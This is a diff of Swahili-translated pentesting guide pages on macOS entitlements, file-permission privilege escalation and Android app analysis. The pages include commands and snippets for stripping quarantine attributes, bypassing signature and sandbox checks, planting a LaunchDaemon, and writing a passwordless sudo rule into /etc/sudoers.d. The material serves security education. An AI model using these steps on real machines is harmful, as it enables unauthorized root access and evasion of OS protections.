Inaruhusu kubadilisha faili ndani ya pakiti za programu (ndani ya app.app), ambayo **imezuiliwa kwa chaguo-msingi**.
 | 
			
		||||
Inaruhusu kubadilisha faili ndani ya pakiti za programu (ndani ya app.app), ambayo **imezuiliwa kwa kawaida**.
 | 
			
		||||
 | 
			
		||||
<figure><img src="../../../images/image (31).png" alt=""><figcaption></figcaption></figure>
 | 
			
		||||
 | 
			
		||||
@ -127,7 +127,7 @@ Ruhusa hii inaruhusu **kuunda kumbukumbu ambayo inaweza kuandikwa na kutekelezwa
 | 
			
		||||
 | 
			
		||||
### `com.apple.security.cs.allow-unsigned-executable-memory`
 | 
			
		||||
 | 
			
		||||
Ruhusa hii inaruhusu **kufunika au kurekebisha msimbo wa C**, kutumia **`NSCreateObjectFileImageFromMemory`** ambayo imekuwa ikitumiwa kwa muda mrefu (ambayo kimsingi si salama), au kutumia mfumo wa **DVDPlayback**. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
 | 
			
		||||
Ruhusa hii inaruhusu **kufunika au kurekebisha msimbo wa C**, kutumia **`NSCreateObjectFileImageFromMemory`** ambayo imekuwa isiyotumika kwa muda mrefu (ambayo kimsingi si salama), au kutumia mfumo wa **DVDPlayback**. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_allow-unsigned-executable-memory).
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Kujumuisha ruhusa hii kunafichua programu yako kwa udhaifu wa kawaida katika lugha za msimbo zisizo salama. Fikiria kwa makini ikiwa programu yako inahitaji ubaguzi huu.
 | 
			
		||||
@ -137,7 +137,7 @@ Ruhusa hii inaruhusu **kufunika au kurekebisha msimbo wa C**, kutumia **`NSCreat
 | 
			
		||||
Ruhusa hii inaruhusu **kubadilisha sehemu za faili zake za kutekelezwa** kwenye diski ili kutoka kwa nguvu. Angalia [**hii kwa maelezo zaidi**](https://developer.apple.com/documentation/bundleresources/entitlements/com_apple_security_cs_disable-executable-page-protection).
 | 
			
		||||
 | 
			
		||||
> [!CAUTION]
 | 
			
		||||
> Ruhusa ya Kuondoa Ulinzi wa Kumbukumbu ya Kutekelezwa ni ruhusa kali ambayo inatoa ulinzi wa msingi wa usalama kutoka kwa programu yako, na kufanya iwezekane kwa mshambuliaji kuandika upya msimbo wa kutekelezwa wa programu yako bila kugundulika. Prefer ruhusa nyembamba ikiwa inawezekana.
 | 
			
		||||
> Ruhusa ya Kuondoa Ulinzi wa Kumbukumbu ya Kutekelezwa ni ruhusa kali ambayo inatoa ulinzi wa usalama wa msingi kutoka kwa programu yako, na kufanya iwezekane kwa mshambuliaji kuandika upya msimbo wa kutekelezwa wa programu yako bila kugundulika. Prefer ruhusa nyembamba ikiwa inawezekana.
 | 
			
		||||
 | 
			
		||||
### `com.apple.security.cs.allow-relative-library-loads`
 | 
			
		||||
 | 
			
		||||
@ -145,7 +145,7 @@ TODO
 | 
			
		||||
 | 
			
		||||
### `com.apple.private.nullfs_allow`
 | 
			
		||||
 | 
			
		||||
Ruhusa hii inaruhusu kuunganisha mfumo wa faili wa nullfs (uliokatazwa kwa chaguo-msingi). Chombo: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
 | 
			
		||||
Ruhusa hii inaruhusu kuunganisha mfumo wa faili wa nullfs (uliozuiliwa kwa kawaida). Chombo: [**mount_nullfs**](https://github.com/JamaicanMoose/mount_nullfs/tree/master).
 | 
			
		||||
 | 
			
		||||
### `kTCCServiceAll`
 | 
			
		||||
 | 
			
		||||
@ -161,3 +161,5 @@ Ruhusu mchakato **kuomba ruhusa zote za TCC**.
 | 
			
		||||
### **`kTCCServicePostEvent`**
 | 
			
		||||
 | 
			
		||||
{{#include ../../../banners/hacktricks-training.md}}
 | 
			
		||||
 | 
			
		||||
</details>
 | 
			
		||||
 | 
			
		||||
@ -6,11 +6,11 @@
 | 
			
		||||
 | 
			
		||||
Ruhusa katika **directory**:
 | 
			
		||||
 | 
			
		||||
- **kusoma** - unaweza **kuorodhesha** entries za directory
 | 
			
		||||
- **kusoma** - unaweza **kuhesabu** entries za directory
 | 
			
		||||
- **kuandika** - unaweza **kufuta/kuandika** **files** katika directory na unaweza **kufuta folda tupu**.
 | 
			
		||||
- Lakini huwezi **kufuta/kubadilisha folda zisizo tupu** isipokuwa una ruhusa za kuandika juu yake.
 | 
			
		||||
- Huwezi **kubadilisha jina la folda** isipokuwa unamiliki.
 | 
			
		||||
- **kutekeleza** - ume **ruhusiwa kupita** katika directory - ikiwa huna haki hii, huwezi kufikia files zozote ndani yake, au katika subdirectories zozote.
 | 
			
		||||
- Huwezi **kubadilisha jina la folda** isipokuwa unamiliki hiyo.
 | 
			
		||||
- **kutekeleza** - ume **ruhusiwa kupita** directory - ikiwa huna haki hii, huwezi kufikia files zozote ndani yake, au katika subdirectories zozote.
 | 
			
		||||
 | 
			
		||||
### Mchanganyiko Hatari
 | 
			
		||||
 | 
			
		||||
@ -20,25 +20,25 @@ Ruhusa katika **directory**:
 | 
			
		||||
- Mmiliki mmoja wa **directory** katika njia ni **kikundi cha watumiaji** chenye **ruhusa za kuandika**
 | 
			
		||||
- Kikundi cha watumiaji kina **ruhusa za kuandika** kwa **file**
 | 
			
		||||
 | 
			
		||||
Kwa mchanganyiko wowote wa hapo juu, mshambuliaji anaweza **kuingiza** **sym/hard link** kwenye njia inayotarajiwa ili kupata kuandika kwa kibali bila kikomo.
 | 
			
		||||
Kwa mchanganyiko wowote wa hapo juu, mshambuliaji anaweza **kuingiza** **sym/hard link** kwenye njia inayotarajiwa ili kupata kuandika kwa kibali bila mipaka.
 | 
			
		||||
 | 
			
		||||
### Kesi Maalum ya Folda root R+X
 | 
			
		||||
### Kesi Maalum ya Folder root R+X
 | 
			
		||||
 | 
			
		||||
Ikiwa kuna files katika **directory** ambapo **ni root pekee mwenye R+X access**, hizo **hazipatikani kwa mtu mwingine yeyote**. Hivyo, udhaifu unaoruhusu **kuhamasisha file inayoweza kusomwa na mtumiaji**, ambayo haiwezi kusomwa kwa sababu ya **kizuizi** hicho, kutoka folda hii **kwenda nyingine**, unaweza kutumiwa kusoma files hizi.
 | 
			
		||||
Ikiwa kuna files katika **directory** ambapo **ni root pekee mwenye R+X access**, hizo **hazipatikani kwa mtu mwingine yeyote**. Hivyo, udhaifu unaoruhusu **kuhamasisha file inayoweza kusomwa na mtumiaji**, ambayo haiwezi kusomwa kwa sababu ya **kizuizi** hicho, kutoka folda hii **kwenda folda tofauti**, unaweza kutumiwa kusoma files hizi.
 | 
			
		||||
 | 
			
		||||
Mfano katika: [https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions](https://theevilbit.github.io/posts/exploiting_directory_permissions_on_macos/#nix-directory-permissions)
 | 
			
		||||
 | 
			
		||||
## Link ya Alama / Link ya Ngumu
 | 
			
		||||
## Link ya Alama / Link Ngumu
 | 
			
		||||
 | 
			
		||||
### File/folda yenye ruhusa
 | 
			
		||||
 | 
			
		||||
Ikiwa mchakato wenye kibali unaandika data katika **file** ambayo inaweza **kudhibitiwa** na **mtumiaji mwenye ruhusa ya chini**, au ambayo inaweza **kuundwa awali** na mtumiaji mwenye ruhusa ya chini. Mtumiaji anaweza tu **kuielekeza kwenye file nyingine** kupitia Link ya Alama au Link ya Ngumu, na mchakato wenye kibali utaandika kwenye file hiyo.
 | 
			
		||||
Ikiwa mchakato wenye kibali unaandika data katika **file** ambayo inaweza **kudhibitiwa** na **mtumiaji mwenye ruhusa ndogo**, au ambayo inaweza **kuundwa awali** na mtumiaji mwenye ruhusa ndogo. Mtumiaji anaweza tu **kuielekeza kwenye file nyingine** kupitia Link ya Alama au Link Ngumu, na mchakato wenye kibali utaandika kwenye file hiyo.
 | 
			
		||||
 | 
			
		||||
Angalia katika sehemu nyingine ambapo mshambuliaji anaweza **kutilia shaka kuandika bila kikomo ili kupandisha ruhusa**.
 | 
			
		||||
Angalia katika sehemu nyingine ambapo mshambuliaji anaweza **kutitumia kuandika bila mipaka ili kupandisha ruhusa**.
 | 
			
		||||
 | 
			
		||||
### Funguo `O_NOFOLLOW`
 | 
			
		||||
### Fungua `O_NOFOLLOW`
 | 
			
		||||
 | 
			
		||||
Funguo `O_NOFOLLOW` inapokuwa inatumika na kazi `open` haitafuata symlink katika kipengele cha mwisho cha njia, lakini itafuata sehemu nyingine za njia. Njia sahihi ya kuzuia kufuata symlinks katika njia ni kwa kutumia funguo `O_NOFOLLOW_ANY`.
 | 
			
		||||
Bendera `O_NOFOLLOW` inapokuwa inatumika na kazi `open` haitafuata symlink katika kipengele cha mwisho cha njia, lakini itafuata sehemu nyingine za njia. Njia sahihi ya kuzuia kufuata symlinks katika njia ni kwa kutumia bendera `O_NOFOLLOW_ANY`.
 | 
			
		||||
 | 
			
		||||
## .fileloc
 | 
			
		||||
 | 
			
		||||
@ -60,9 +60,9 @@ Mfano:
 | 
			
		||||
 | 
			
		||||
### Leak FD (no `O_CLOEXEC`)
 | 
			
		||||
 | 
			
		||||
Ikiwa wito wa `open` haina bendera `O_CLOEXEC`, desktop ya faili itarithiwa na mchakato wa mtoto. Hivyo, ikiwa mchakato wenye mamlaka unafungua faili yenye mamlaka na kutekeleza mchakato unaodhibitiwa na mshambuliaji, mshambuliaji atakuwa **na FD juu ya faili yenye mamlaka**.
 | 
			
		||||
Ikiwa wito wa `open` haina bendera `O_CLOEXEC`, desktopu la faili litakurudishwa na mchakato wa mtoto. Hivyo, ikiwa mchakato wenye mamlaka unafungua faili yenye mamlaka na kutekeleza mchakato unaodhibitiwa na mshambuliaji, mshambuliaji atakuwa **na FD juu ya faili yenye mamlaka**.
 | 
			
		||||
 | 
			
		||||
Ikiwa unaweza kufanya **mchakato ufungue faili au folda zenye mamlaka ya juu**, unaweza kutumia **`crontab`** kufungua faili katika `/etc/sudoers.d` na **`EDITOR=exploit.py`**, hivyo `exploit.py` itapata FD kwa faili ndani ya `/etc/sudoers` na kuifanya.
 | 
			
		||||
Ikiwa unaweza kufanya **mchakato ufungue faili au folda zenye mamlaka ya juu**, unaweza kutumia **`crontab`** kufungua faili katika `/etc/sudoers.d` na **`EDITOR=exploit.py`**, hivyo `exploit.py` itapata FD kwa faili ndani ya `/etc/sudoers` na kuifanya itumike vibaya.
 | 
			
		||||
 | 
			
		||||
Kwa mfano: [https://youtu.be/f1HA5QhLQ7Y?t=21098](https://youtu.be/f1HA5QhLQ7Y?t=21098), code: https://github.com/gergelykalman/CVE-2023-32428-a-macOS-LPE-via-MallocStackLogging
 | 
			
		||||
 | 
			
		||||
@ -74,7 +74,7 @@ xattr -d com.apple.quarantine /path/to/file_or_app
 | 
			
		||||
```
 | 
			
		||||
### uchg / uchange / uimmutable flag
 | 
			
		||||
 | 
			
		||||
Ikiwa faili/folda ina sifa hii isiyoweza kubadilishwa, haitakuwa possible kuweka xattr juu yake.
 | 
			
		||||
Ikiwa faili/folda ina sifa hii isiyoweza kubadilishwa haitakuwa na uwezo wa kuweka xattr juu yake.
 | 
			
		||||
```bash
 | 
			
		||||
echo asd > /tmp/asd
 | 
			
		||||
chflags uchg /tmp/asd # "chflags uchange /tmp/asd" or "chflags uimmutable /tmp/asd"
 | 
			
		||||
@ -86,7 +86,7 @@ ls -lO /tmp/asd
 | 
			
		||||
```
 | 
			
		||||
### defvfs mount
 | 
			
		||||
 | 
			
		||||
A **devfs** mount **haiungi xattr**, maelezo zaidi katika [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
 | 
			
		||||
A **devfs** mount **haina msaada wa xattr**, maelezo zaidi katika [**CVE-2023-32364**](https://gergelykalman.com/CVE-2023-32364-a-macOS-sandbox-escape-by-mounting.html)
 | 
			
		||||
```bash
 | 
			
		||||
mkdir /tmp/mnt
 | 
			
		||||
mount_devfs -o noowners none "/tmp/mnt"
 | 
			
		||||
@ -122,7 +122,7 @@ ls -le /tmp/test
 | 
			
		||||
 | 
			
		||||
**AppleDouble** muundo wa faili unakopi faili pamoja na ACE zake.
 | 
			
		||||
 | 
			
		||||
Katika [**kanuni ya chanzo**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) inawezekana kuona kwamba uwakilishi wa maandiko ya ACL ulihifadhiwa ndani ya xattr inayoitwa **`com.apple.acl.text`** utawekwa kama ACL katika faili lililoshughulikiwa. Hivyo, ikiwa umeweka programu katika faili la zip kwa muundo wa faili wa **AppleDouble** ukiwa na ACL inayozuia xattrs nyingine kuandikwa ndani yake... xattr ya karantini haikuwekwa katika programu:
 | 
			
		||||
Katika [**kanuni ya chanzo**](https://opensource.apple.com/source/Libc/Libc-391/darwin/copyfile.c.auto.html) inawezekana kuona kwamba uwakilishi wa maandiko wa ACL ulihifadhiwa ndani ya xattr inayoitwa **`com.apple.acl.text`** utawekwa kama ACL katika faili lililoshughulikiwa. Hivyo, ikiwa umecompress programu ndani ya faili la zip lenye muundo wa **AppleDouble** ukiwa na ACL inayozuia xattrs nyingine kuandikwa ndani yake... xattr ya karantini haikuwekwa kwenye programu:
 | 
			
		||||
 | 
			
		||||
Angalia [**ripoti ya asili**](https://www.microsoft.com/en-us/security/blog/2022/12/19/gatekeepers-achilles-heel-unearthing-a-macos-vulnerability/) kwa maelezo zaidi.
 | 
			
		||||
 | 
			
		||||
@ -146,19 +146,19 @@ ls -le test
 | 
			
		||||
```
 | 
			
		||||
(Note that even if this works the sandbox write the quarantine xattr before)
 | 
			
		||||
 | 
			
		||||
Sio muhimu sana lakini naiacha hapa tu kwa sababu:
 | 
			
		||||
Not really needed but I leave it there just in case:
 | 
			
		||||
 | 
			
		||||
{{#ref}}
 | 
			
		||||
macos-xattr-acls-extra-stuff.md
 | 
			
		||||
{{#endref}}
 | 
			
		||||
 | 
			
		||||
## Kupita ukaguzi wa saini
 | 
			
		||||
## Bypass signature checks
 | 
			
		||||
 | 
			
		||||
### Kupita ukaguzi wa binaries za jukwaa
 | 
			
		||||
### Bypass platform binaries checks
 | 
			
		||||
 | 
			
		||||
Baadhi ya ukaguzi wa usalama huangalia kama binary ni **binary ya jukwaa**, kwa mfano kuruhusu kuungana na huduma ya XPC. Hata hivyo, kama ilivyoelezwa katika kupita kwenye https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, inawezekana kupita ukaguzi huu kwa kupata binary ya jukwaa (kama /bin/ls) na kuingiza exploit kupitia dyld kwa kutumia variable ya mazingira `DYLD_INSERT_LIBRARIES`.
 | 
			
		||||
Baadhi ya ukaguzi wa usalama huangalia ikiwa binary ni **platform binary**, kwa mfano kuruhusu kuungana na huduma ya XPC. Hata hivyo, kama ilivyoonyeshwa katika bypass kwenye https://jhftss.github.io/A-New-Era-of-macOS-Sandbox-Escapes/, inawezekana kupita ukaguzi huu kwa kupata platform binary (kama /bin/ls) na kuingiza exploit kupitia dyld kwa kutumia variable ya mazingira `DYLD_INSERT_LIBRARIES`.
 | 
			
		||||
 | 
			
		||||
### Kupita bendera `CS_REQUIRE_LV` na `CS_FORCED_LV`
 | 
			
		||||
### Bypass flags `CS_REQUIRE_LV` and `CS_FORCED_LV`
 | 
			
		||||
 | 
			
		||||
Inawezekana kwa binary inayotekelezwa kubadilisha bendera zake mwenyewe ili kupita ukaguzi kwa kutumia msimbo kama:
 | 
			
		||||
```c
 | 
			
		||||
@ -195,7 +195,7 @@ Hata hivyo, kuna baadhi ya faili ambazo saini yake haitakaguliwa, hizi zina ufun
 | 
			
		||||
</dict>
 | 
			
		||||
<key>rules2</key>
 | 
			
		||||
...
 | 
			
		||||
<key>^(.*/)?\.DS_Store$</key>
 | 
			
		||||
<key>^(.*/index.html)?\.DS_Store$</key>
 | 
			
		||||
<dict>
 | 
			
		||||
<key>omit</key>
 | 
			
		||||
<true/>
 | 
			
		||||
@ -261,7 +261,7 @@ Unaweza **kuigiza** utekelezaji wa skripti hii kwa: **`sudo periodic daily`**
 | 
			
		||||
 | 
			
		||||
### Daemons
 | 
			
		||||
 | 
			
		||||
Andika **LaunchDaemon** ya kiholela kama **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** yenye plist inayotekeleza skripti ya kiholela kama:
 | 
			
		||||
Andika **LaunchDaemon** ya huru kama **`/Library/LaunchDaemons/xyz.hacktricks.privesc.plist`** yenye plist inayotekeleza skripti ya huru kama:
 | 
			
		||||
```xml
 | 
			
		||||
<?xml version="1.0" encoding="UTF-8"?>
 | 
			
		||||
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">
 | 
			
		||||
@ -300,7 +300,7 @@ ErrorLog /etc/sudoers.d/lpe
 | 
			
		||||
LogFilePerm 777
 | 
			
		||||
<some junk>
 | 
			
		||||
```
 | 
			
		||||
Hii itaunda faili `/etc/sudoers.d/lpe` yenye ruhusa 777. Takataka za ziada mwishoni ni kuanzisha uundaji wa kumbukumbu ya makosa.
 | 
			
		||||
Hii itaunda faili `/etc/sudoers.d/lpe` yenye ruhusa 777. Takataka za ziada mwishoni ni kuanzisha uundaji wa kumbukumbu za makosa.
 | 
			
		||||
 | 
			
		||||
Kisha, andika katika `/etc/sudoers.d/lpe` usanidi unaohitajika ili kupandisha mamlaka kama `%staff ALL=(ALL) NOPASSWD:ALL`.
 | 
			
		||||
 | 
			
		||||
 | 
			
		||||
@ -12,7 +12,7 @@ android-applications-basics.md
 | 
			
		||||
 | 
			
		||||
## ADB (Android Debug Bridge)
 | 
			
		||||
 | 
			
		||||
Hii ni zana kuu unayohitaji kuungana na kifaa cha android (kilichotengenezwa au halisi).\
 | 
			
		||||
Hii ni zana kuu unayohitaji kuungana na kifaa cha android (kilichosimuliwa au halisi).\
 | 
			
		||||
**ADB** inaruhusu kudhibiti vifaa ama kupitia **USB** au **Mtandao** kutoka kwa kompyuta. Zana hii inaruhusu **kuhamasisha** faili katika mwelekeo wote, **kusakinisha** na **kuondoa** programu, **kutekeleza** amri za shell, **kufanya nakala** ya data, **kusoma** kumbukumbu, kati ya kazi nyingine.
 | 
			
		||||
 | 
			
		||||
Angalia orodha ifuatayo ya [**ADB Commands**](adb-commands.md) kujifunza jinsi ya kutumia adb.
 | 
			
		||||
@ -20,13 +20,13 @@ Angalia orodha ifuatayo ya [**ADB Commands**](adb-commands.md) kujifunza jinsi y
 | 
			
		||||
## Smali
 | 
			
		||||
 | 
			
		||||
Wakati mwingine ni muhimu **kubadilisha msimbo wa programu** ili kufikia **habari zilizofichwa** (labda nywila au bendera zilizofichwa vizuri). Hivyo, inaweza kuwa ya kuvutia decompile apk, kubadilisha msimbo na kuirekebisha.\
 | 
			
		||||
[**Katika mafunzo haya** unaweza **kujifunza jinsi ya decompile na APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala wa majaribio kadhaa wakati wa uchambuzi wa dinamik** ambao utawasilishwa. Hivyo, **weka daima katika akili uwezekano huu**.
 | 
			
		||||
[**Katika mafunzo haya** unaweza **kujifunza jinsi ya decompile APK, kubadilisha msimbo wa Smali na kuirekebisha APK** na kazi mpya](smali-changes.md). Hii inaweza kuwa ya manufaa kama **mbadala wa majaribio kadhaa wakati wa uchambuzi wa dynamic** ambao utawasilishwa. Hivyo, **weka daima katika akili uwezekano huu**.
 | 
			
		||||
 | 
			
		||||
## Njia nyingine za kuvutia
 | 
			
		||||
 | 
			
		||||
- [Kudanganya eneo lako katika Play Store](spoofing-your-location-in-play-store.md)
 | 
			
		||||
- **Pakua APKs**: [https://apps.evozi.com/apk-downloader/](https://apps.evozi.com/apk-downloader/), [https://apkpure.com/es/](https://apkpure.com/es/), [https://www.apkmirror.com/](https://www.apkmirror.com), [https://apkcombo.com/es-es/apk-downloader/](https://apkcombo.com/es-es/apk-downloader/), [https://github.com/kiber-io/apkd](https://github.com/kiber-io/apkd)
 | 
			
		||||
- Toa APK kutoka kifaa:
 | 
			
		||||
- Extract APK from device:
 | 
			
		||||
```bash
 | 
			
		||||
adb shell pm list packages
 | 
			
		||||
com.android.insecurebankv2
 | 
			
		||||
@ -64,11 +64,11 @@ Tazama kwa makini **firebase URLs** na angalia kama imewekwa vibaya. [Taarifa za
 | 
			
		||||
 | 
			
		||||
**Udhaifu** ulioainishwa kutoka kwa **Manifest.xml** ni pamoja na:
 | 
			
		||||
 | 
			
		||||
- **Programu zinazoweza kufanyiwa uchambuzi**: Programu zilizowekwa kama debuggable (`debuggable="true"`) katika faili la _Manifest.xml_ zinatoa hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha matumizi mabaya. Kwa ufahamu zaidi kuhusu jinsi ya kutumia programu zinazoweza kufanyiwa uchambuzi, rejelea mafunzo juu ya kutafuta na kutumia programu zinazoweza kufanyiwa uchambuzi kwenye kifaa.
 | 
			
		||||
- **Programu zinazoweza kudhibitiwa**: Programu zilizowekwa kama zinazoweza kudhibitiwa (`debuggable="true"`) katika faili ya _Manifest.xml_ zina hatari kwani zinaruhusu muunganisho ambao unaweza kusababisha matumizi mabaya. Kwa ufahamu zaidi kuhusu jinsi ya kutumia programu zinazoweza kudhibitiwa, rejelea mafunzo juu ya kutafuta na kutumia programu zinazoweza kudhibitiwa kwenye kifaa.
 | 
			
		||||
- **Mipangilio ya Nakala**: Sifa ya `android:allowBackup="false"` inapaswa kuwekwa wazi kwa programu zinazoshughulika na taarifa nyeti ili kuzuia nakala zisizoidhinishwa kupitia adb, hasa wakati ufuatiliaji wa usb umewezeshwa.
 | 
			
		||||
- **Usalama wa Mtandao**: Mipangilio ya usalama wa mtandao ya kawaida (`android:networkSecurityConfig="@xml/network_security_config"`) katika _res/xml/_ inaweza kubainisha maelezo ya usalama kama vile pini za cheti na mipangilio ya trafiki ya HTTP. Mfano ni kuruhusu trafiki ya HTTP kwa maeneo maalum.
 | 
			
		||||
- **Shughuli na Huduma Zilizotolewa**: Kutambua shughuli na huduma zilizotolewa katika manifest kunaweza kuonyesha vipengele ambavyo vinaweza kutumika vibaya. Uchambuzi zaidi wakati wa upimaji wa dinamik unaweza kufichua jinsi ya kutumia vipengele hivi.
 | 
			
		||||
- **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili pia inapaswa kuchunguzwa.
 | 
			
		||||
- **Watoa Maudhui na Watoa Faili**: Watoa maudhui walio wazi wanaweza kuruhusu ufikiaji usioidhinishwa au mabadiliko ya data. Mipangilio ya Watoa Faili inapaswa pia kuchunguzwa kwa makini.
 | 
			
		||||
- **Vipokezi vya Matangazo na Mipango ya URL**: Vipengele hivi vinaweza kutumika kwa matumizi mabaya, huku kukitolewa kipaumbele kwa jinsi mipango ya URL inavyoshughulikiwa kwa udhaifu wa ingizo.
 | 
			
		||||
- **Toleo la SDK**: Sifa za `minSdkVersion`, `targetSDKVersion`, na `maxSdkVersion` zinaonyesha toleo la Android linaloungwa mkono, zikisisitiza umuhimu wa kutosaidia toleo la zamani la Android lenye udhaifu kwa sababu za usalama.
 | 
			
		||||
 | 
			
		||||
@ -76,7 +76,7 @@ Kutoka kwa faili ya **strings.xml**, taarifa nyeti kama funguo za API, mipango y
 | 
			
		||||
 | 
			
		||||
### Tapjacking
 | 
			
		||||
 | 
			
		||||
**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati inapitisha mwingiliano huo kwa programu ya mwathirika.\
 | 
			
		||||
**Tapjacking** ni shambulio ambapo **programu** **mbaya** inazinduliwa na **kujiweka juu ya programu ya mwathirika**. Mara inapoificha wazi programu ya mwathirika, kiolesura chake cha mtumiaji kimeundwa kwa njia ya kudanganya mtumiaji kuingiliana nayo, wakati ikipitia mwingiliano huo kwa programu ya mwathirika.\
 | 
			
		||||
Kwa kweli, inamfanya mtumiaji **kutojua kwamba anafanya vitendo kwenye programu ya mwathirika**.
 | 
			
		||||
 | 
			
		||||
Pata taarifa zaidi katika:
 | 
			
		||||
@ -87,7 +87,7 @@ tapjacking.md
 | 
			
		||||
 | 
			
		||||
### Task Hijacking
 | 
			
		||||
 | 
			
		||||
**shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa inakuwa hatarini kwa hijacking ya kazi. Hii inamaanisha kwamba, **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuchukua kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia ile halisi**).
 | 
			
		||||
**shughuli** yenye **`launchMode`** iliyowekwa kuwa **`singleTask` bila `taskAffinity`** iliyofafanuliwa ina hatari ya hijacking ya kazi. Hii inamaanisha kwamba **programu** inaweza kusakinishwa na ikiwa itazinduliwa kabla ya programu halisi inaweza **kuchukua kazi ya programu halisi** (hivyo mtumiaji atakuwa akifanya kazi na **programu mbaya akidhani anatumia ile halisi**).
 | 
			
		||||
 | 
			
		||||
Taarifa zaidi katika:
 | 
			
		||||
 | 
			
		||||
@ -101,10 +101,10 @@ android-task-hijacking.md
 | 
			
		||||
 | 
			
		||||
Katika Android, faili **zilizohifadhiwa** katika **hifadhi ya ndani** zimeundwa kuwa **zinapatikana** pekee na **programu** iliyozitengeneza. Kipimo hiki cha usalama kinatekelezwa na mfumo wa uendeshaji wa Android na kwa ujumla kinatosha kwa mahitaji ya usalama ya programu nyingi. Hata hivyo, waendelezaji wakati mwingine hutumia njia kama `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` ili **kuruhusu** faili kushirikiwa kati ya programu tofauti. Hata hivyo, njia hizi **hazizuii ufikiaji** wa faili hizi na programu nyingine, ikiwa ni pamoja na zile zenye nia mbaya.
 | 
			
		||||
 | 
			
		||||
1. **Uchambuzi wa Kimuundo:**
 | 
			
		||||
1. **Static Analysis:**
 | 
			
		||||
- **Hakikisha** kwamba matumizi ya `MODE_WORLD_READABLE` na `MODE_WORLD_WRITABLE` yanachunguzwa kwa makini. Njia hizi **zinaweza kufichua** faili kwa **ufikiaji usioidhinishwa au usio kusudiwa**.
 | 
			
		||||
2. **Uchambuzi wa Kijamii:**
 | 
			
		||||
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizoundwa na programu. Kwa haswa, **angalia** kama faili yoyote imewekwa kuwa inasomeka au kuandikwa duniani kote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
 | 
			
		||||
2. **Dynamic Analysis:**
 | 
			
		||||
- **Thibitisha** **idhini** zilizowekwa kwenye faili zilizotengenezwa na programu. Kwa haswa, **angalia** kama faili yoyote imewekwa kuwa inasomeka au kuandikwa duniani kote. Hii inaweza kuwa hatari kubwa ya usalama, kwani itaruhusu **programu yoyote** iliyosakinishwa kwenye kifaa, bila kujali asili yake au nia, **kusoma au kubadilisha** faili hizi.
 | 
			
		||||
 | 
			
		||||
**Hifadhi ya Nje**
 | 
			
		||||
 | 
			
		||||
@ -115,12 +115,12 @@ Wakati wa kushughulikia faili kwenye **hifadhi ya nje**, kama vile Kadi za SD, t
 | 
			
		||||
2. **Masuala ya Usalama**:
 | 
			
		||||
- Kwa kuzingatia urahisi wa ufikiaji, inashauriwa **kutohifadhi taarifa nyeti** kwenye hifadhi ya nje.
 | 
			
		||||
- Hifadhi ya nje inaweza kuondolewa au kufikiwa na programu yoyote, na kufanya kuwa na usalama mdogo.
 | 
			
		||||
3. **Kushughulikia Taarifa kutoka Hifadhi ya Nje**:
 | 
			
		||||
3. **Kushughulikia Data kutoka Hifadhi ya Nje**:
 | 
			
		||||
- Daima **fanya uthibitisho wa ingizo** kwenye data iliyopatikana kutoka hifadhi ya nje. Hii ni muhimu kwa sababu data hiyo inatoka kwenye chanzo kisichoaminika.
 | 
			
		||||
- Kuhifadhi faili za kutekeleza au faili za darasa kwenye hifadhi ya nje kwa ajili ya upakiaji wa dinamik kunashauriwa kutoendeshwa.
 | 
			
		||||
- Ikiwa programu yako inapaswa kupata faili za kutekeleza kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya kisasa** kabla ya kupakiwa kwa dinamik. Hatua hii ni muhimu kwa kudumisha uadilifu wa usalama wa programu yako.
 | 
			
		||||
- Ikiwa programu yako inapaswa kupata faili za kutekeleza kutoka hifadhi ya nje, hakikisha faili hizi **zimepangwa na kuthibitishwa kwa njia ya kisasa** kabla ya kupakiwa kwa dinamik. Hatua hii ni muhimu kwa kudumisha uaminifu wa usalama wa programu yako.
 | 
			
		||||
 | 
			
		||||
Hifadhi ya nje inaweza kufikiwa katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
 | 
			
		||||
Hifadhi ya nje inaweza **kupatikana** katika `/storage/emulated/0`, `/sdcard`, `/mnt/sdcard`
 | 
			
		||||
 | 
			
		||||
> [!NOTE]
 | 
			
		||||
> Kuanzia Android 4.4 (**API 17**), kadi ya SD ina muundo wa saraka ambao **unapunguza ufikiaji kutoka kwa programu hadi saraka ambayo ni maalum kwa programu hiyo**. Hii inazuia programu mbaya kupata ufikiaji wa kusoma au kuandika kwenye faili za programu nyingine.
 | 
			
		||||
@ -153,7 +153,7 @@ Wakandarasi hawapaswi kutumia **algorithimu zilizopitwa na wakati** kufanya **uk
 | 
			
		||||
 | 
			
		||||
